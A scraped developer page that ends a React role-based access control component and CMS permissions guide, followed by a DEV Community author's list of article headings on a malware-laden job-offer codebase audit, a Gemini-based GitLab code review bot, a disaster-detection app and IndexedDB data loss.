    // eslint-disable-next-line react-hooks/exhaustive-deps
  }, [])

  if (permitted) {
    return children
  }

  return null
}

AccessControl.defaultProps = {
  allowedPermissions: [],
}

export default AccessControl

Usage

<AccessControl allowedPermissions={['read']}>
  <Content />
</AccessControl>
<AccessControl allowedPermissions={['create']}>
  <CreateButton />
</AccessControl>

Guide: Adding RBAC to CMS Features

Add Role Groups: Ensure relevant groups are defined in /configs/roles/index.ts.
Configure Permission Policies: Configure page or feature-level permissions in /configs/policies/index.ts or similar.
Use Access Control in Components: Integrate HOCs or hooks to check for permissions within your components.

References and Useful Links

By following these practices, you ensure your CMS remains secure, flexible, and easy to maintain as requirements evolve.

DEV Community: Deny Herianto

I Got a Job Offer. But, It Came With Malware.

TL;DR

The Setup: Everything Looked Normal

How Claude Code Found It: The Audit

Pass 1: Broad Codebase Scan

Pass 2: Deep Threat Vector Scan

Pass 3: Decoding the Malware

The Hidden Payload: 1500 Spaces of Silence

Layer 1: The Obfuscation

String Array Rotation

Custom Base64 + XOR Decoder

String Fragmentation

Variable Name Mangling

Layer 2: What It Actually Does

Imports

Step 1, System Fingerprinting

Step 2, C2 URL Construction

Step 3, Payload Download

Step 4, Hidden Execution

Step 5, Data Exfiltration

Step 6, Persistence Loop

The Full Kill Chain

Red Flags I Almost Missed

1. Suspicious npm dependencies

2. The request package

3. The codebase is a crypto sniping bot

4. One commit, one author

How to Protect Yourself

Use Claude Code to Audit Before You Run

Manual checks you should also do:

If you already ran it:

Final Thoughts

Building an AI Code Reviewer for GitLab CI with Google Gemini

What I Built with Google Gemini

How Gemini fits in

Demo

What I Learned

1. Gemini CLI ≠ CI-friendly

2. Structured output beats regex parsing

3. GitLab CI variable "pass-through" is a trap

4. execFileSync over execSync for security

5. URL-encoding every path parameter

Google Gemini Feedback

Building Disaster Pulse: What Happened When I Let AI Decide If a Disaster Is Real

What I Built with Google Gemini

Demo

What I Learned

Multi-agent architecture is harder than it looks

Multimodal processing isn't free

The empty state kills demos

The hardest part wasn't the AI, it was making the AI visible

One moment that stuck

Google Gemini Feedback

What worked really well

Where I hit friction

Why Your IndexedDB Data Keeps Disappearing

The Short Version

Root Cause #1: Chrome Will Evict Your Entire Database

How we hit this

The fix

How to protect your extension from eviction

Root Cause #2: Service Worker Restarts Can Abort In-Flight Writes

How this works in practice

The fix

Root Cause #3: "Clear Then Import" Leaves You With Nothing on Failure

The fix

Summary

The Bigger Lesson

Built an open-source AI code review bot for GitLab using Gemini. Zero runtime dependencies, inline diff comments, and one-click suggestion buttons. Here's every gotcha I hit along the way!

Building "Niteni": Gemini Code Review Bot for GitLab with Zero Dependencies

Building "Niteni": Gemini Code Review Bot for GitLab with Zero Dependencies

The Idea

Architecture: Direct API Call

Gotcha #1: GitLab CI Variable Circular References

Gotcha #2: Token Authentication is a Maze

Gotcha #3: Inline Diff Comments Need diff_refs

Gotcha #4: Parsing LLM Output is Fragile

Gotcha #5: Shell Injection in CI Environments

Gotcha #6: Large Diffs and CLI Limits

2. The `request` package

4. `execFileSync` over `execSync` for security

Gotcha #3: Inline Diff Comments Need `diff_refs`